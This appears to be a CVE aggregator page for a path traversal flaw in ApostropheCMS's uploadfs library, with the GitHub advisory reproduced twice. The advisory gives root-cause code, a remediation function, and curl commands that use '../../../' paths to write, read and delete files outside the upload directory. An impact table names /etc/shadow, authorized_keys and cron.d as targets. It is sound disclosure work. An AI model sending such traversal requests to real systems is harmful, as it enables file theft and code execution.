CVE-2026-113651
ApostropheCMS: Path traversal in uploadfs
ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- High
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
3.3
ApostropheCMS: Path traversal in uploadfs
ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
- Record
CVE-2026-113651- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
EUVDEUVD-2026-105177
3.3
ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
- Record
EUVD-2026-105177- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-gmfx-5g6x-rr72
3.3
ApostropheCMS: Path traversal in uploadfs
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
Impact
| Capability | Risk |
|------------|------|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
- Record
GHSA-gmfx-5g6x-rr72- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
NVD
3.3
ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
- Record
CVE-2026-113651- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSV
3.3
ApostropheCMS: Path traversal in uploadfs
ApostropheCMS is an open-source Node.js content management system, and uploadfs is its file storage library. Prior to uploadfs 1.28.0, attacker-controlled paths that reach the local backend can contain parent-directory segments that escape the configured upload directory and affect file reads, writes, and deletion on the host filesystem. Exploitability depends on an application exposing the relevant uploadfs operations to untrusted path. This issue is fixed in uploadfs 1.28.0.
- Record
CVE-2026-113651- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
OSVGHSA-gmfx-5g6x-rr72
3.3
ApostropheCMS: Path traversal in uploadfs
Summary
The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.
Details
Root Cause
packages/uploadfs/uploadfs.js:652-655
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655
function prefixPath(path) {
// Resolve any double // that results from the prefix
return (self.prefix + path).replace(/\/\//g, '/');
}
packages/uploadfs/lib/storage/local.js
https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108
copyIn: function(localPath, path, options, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
return fs.createReadStream(uploadsPath + path); // [VULNERABLE]
},
remove: function(path, callback) {
const uploadPath = uploadsPath + path; // [VULNERABLE]
fs.unlink(uploadPath, callback);
prefixPath()does not normalize paths or reject../.- The local backend concatenates the path directly into the filesystem call.
- Node.js resolves
/app/uploads/../../../tmp/pwned.txt→/tmp/pwned.txt.
Proof of Concept (PoC)
Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk
Build and run
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py
Expected output
[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />
Manual reproduction
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
-F "path=../../../tmp/backdoor.txt" \
-F "file=@-;filename=backdoor.txt" <<< "malicious content"
# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"
# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />
Impact
| Capability | Risk |
|------------|------|
| Arbitrary File Write | Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution |
| Arbitrary File Read | Exfiltrate /etc/shadow, application configs, database credentials |
| Arbitrary File Delete | Destroy system or application files → Denial of Service |
Remediation
Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:
const path = require('path');
function safePath(base, target) {
const resolved = path.resolve(base, target);
if (!resolved.startsWith(path.resolve(base) + path.sep)) {
throw new Error('Path traversal blocked: target is outside the intended directory');
}
return resolved;
}
- Record
GHSA-gmfx-5g6x-rr72- CVSS 3.1
- 3.3 Low
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N - Weakness
- CWE-22
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
uploadfsnpm |
before 1.28.0 | 1.28.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-113651 is a low vulnerability (CVSS 3.3) in Apostrophecms Apostrophe, published October 20, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.33%, the 26th percentile. Fixed in uploadfs 1.28.0.
References
github.com/apostrophecms/apostrophe/security/advisories/GHSA-gmfx-5g6x-rr72
github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce
github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350
github.com/apostrophecms/apostrophe/releases/tag/[email protected]
github.com/advisories/GHSA-gmfx-5g6x-rr72
github.com/CVEProject/cvelistV5/tree/main/cves/2026/113xxx/CVE-2026-113651.json
nvd.nist.gov/vuln/detail/CVE-2026-113651
github.com/apostrophecms/apostrophe